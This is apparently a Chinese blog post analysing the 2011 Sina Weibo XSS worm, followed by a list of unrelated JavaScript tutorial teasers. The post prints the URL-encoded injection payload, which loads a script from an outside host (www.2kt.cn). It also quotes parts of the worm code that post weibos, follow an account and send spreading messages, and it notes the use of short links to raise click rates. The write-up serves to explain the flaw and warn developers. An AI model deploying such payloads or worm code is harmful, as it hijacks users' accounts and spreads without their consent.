XSS-从weibo蠕虫事件学习

XSS攻击：跨站脚本攻击（Cross Site Scripting），为不和层叠样式表（Cascading Style Sheets, CSS）的缩写混淆。故将跨站脚本攻击缩写为XSS。XSS是一种经常出现在web应用中的计算机安全漏洞，它允许恶意web用户将代码植入到提供给其它用户使用的页面中。

Xss的例子（以新浪微博的6.9的hellosamy蠕虫事件为例）：

sina的名人堂页面页面上存在这么个链接

<a href="http://weibo.com/pub/star/g/123">这个是xss</a>

其实在服务器端是这么写的（猜测，真实代码长啥样不知道，但是一定是忘记做转义就输出了）：

Echo '<a href="http://weibo.com/pub/star/g/{$uname}">这个是xss</a>'

其中uname并没有做htmlspecialchars。相当于是直接由用户输入，然后输出在页面上了。

这样的html就是存在xss漏洞

好了，这个漏洞被发现了，下面要利用它做什么呢？

1 将uname设置成xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update

这样这个url就变成了

其中的引号被封闭了，然后这个页面自动运行了一段js脚本

这个js脚本做了这样的事情：

1 发送一个微博（这个是之所以成为蠕虫的原因，这个微博中附带着同样的一个连接）

2 加关注uid为2201270010

3 发私信，向好友传播链接

js的下载代码在http://www.stwind.org/wp-content/uploads/2011/06/06.28_sina_XSS.txt.zip

try{

x="g=document.createElement('script');g.src='http://www.2kt.cn/images/t.js';document.body.appendChild(g)";window.opener.eval(x);

}

catch(e){}

main();

var t=setTimeout('location="http://weibo.com/pub/topic";',5000);

其中就是在打开的页面加入了<script节点>，并执行

main中是发送微博，加关注，发私信三个动作

当5000秒后，当前页重新定位到public/topic上

function main(){

try{

publish();

}

catch(e){}

try{

follow();

}

catch(e){}

try{

message();

}

catch(e){}

}

比如

function publish(){

url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime();

data = 'content=' + random_msg() + '&pic=&styleid=2&retcode=';

post(url,data,true);

}

模拟post请求，由于这个js是在weibo网页上调用的，所以就没有跨域问题

直接post就可以产生这个效果

注：这次事件中还用到了短链接服务

短链接服务能自定义用户链接，比如http://weibo.com/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update

这么长一个链接能变为http://t.cn/atmcqn

这样能增加用户的点击成功率

事实证明，建站是需要非常小心的，每个页面，每个输出，如果有一两个漏洞，都可能造成全站的大灾难！！引以为戒！

XSS-从weibo蠕虫事件学习的相关文章

JavaScript事件学习小结（三）js事件对象_javascript技巧

相关阅读: JavaScript事件学习小结(五)js中事件类型之鼠标事件 http://www.jb51.net/article/86259.htm JavaScript事件学习小结(一)事件流 http://www.jb51.net/article/86261.htm javaScript事件学习小结(四)event的公共成员(属性和方法) http://www.jb51.net/article/86262.htm JavaScript事件学习小结(二)js事件处理程序 http://www

JavaScript事件学习小结(二)js事件处理程序_javascript技巧

javaScript事件学习小结（四）event的公共成员（属性和方法）_javascript技巧

JavaScript事件学习小结（一）事件流_javascript技巧

jQuery Mobile的学习时间botton按钮的事件学习

程序员都很懒,你懂的! 生命的绝唱来机只争朝夕,如诗的年华更需惜时如金.不要让今天的懈怠成为一生的痛. 每天都在进步.最近在学习jquery mobile开发,使用的button,绑定事件,和大家一起学习,一起分享! 直接上代码: <!DOCTYPE html> <html> <head> <link rel="stylesheet" href="http://code.jquery.com/mobile/1.4.2/jquery.m

JavaScript Event事件学习第一章 Event介绍_javascript技巧

没有event就没有脚本.可以看看任何有JavaScript代码的网页:几乎所有的例子都有一个事件触发了脚本.原因非常简单.JavaScript就是给你的页面添加内部活动:用户做一些事情然后页面做出回应. 因此JavaScript就需要一个方法能够检测到用户的动作然后才能知道什么时候做出反应.这还需要知道那个函数会被执行,函数会做一些你认为的给你的网页增色的动作.这些文字描述了如何去写这样的脚本.虽然不容易,但是这是一个很让人满足的工作. 当用户做了什么事情event就发生了,当然还有一些eve

js 变量、字符串、条件语句、事件学习笔记

变量还是通过一个实例来学习变量的相关语法: 代码如下复制代码  [html] [head] [script language="JavaScript"] <!-- hide me // load up some variables ,定义变量 var hen_num = 3; var eggs_per_week_each = 5; var weeks_per_month = 4; // do some calcula

JavaScript高级程序设计事件学习笔记_javascript技巧

第12章事件 1.事件流 1.1事件冒泡(IE事件流) □事件冒泡(event bubbling),即事件开始时由最具体的元素(文档中嵌套层次最深的那个节点)接受,然后逐级向上传播到较为不具体的节点(文档). □所有浏览器均支持事件冒泡.Firefox.chrome.safari将事件一直冒泡到window对象. 1.2事件捕获(Netscape事件流) □不太具体的节点更早收到事件,而具体的节点最后收到节点. □Safari.chrome.Opera.firefox支持,但从window对象

C# 委托、事件学习

1.委托delegate 委托delegate也是一种类型,在任何可以声明类的地方都可以声明委托,它将方法当做另一个方法的参数进行传递,这样就可以传递不同的方法,完成不同的功能,使程序具有很好的可扩展性. 举例: 假设这里有一台电脑,有人会用它写程序,有人会用它打游戏,有人会用它看电影,有人会用它边听音乐边玩游戏,有人会用它边听音乐边看文档,边上QQ. 这台电脑可以抽象成一个类Computer,里面有个方法DoWork,所有的人都要通过这个方法来做自己的事情. 不用委托的时候我们可以实现一些固定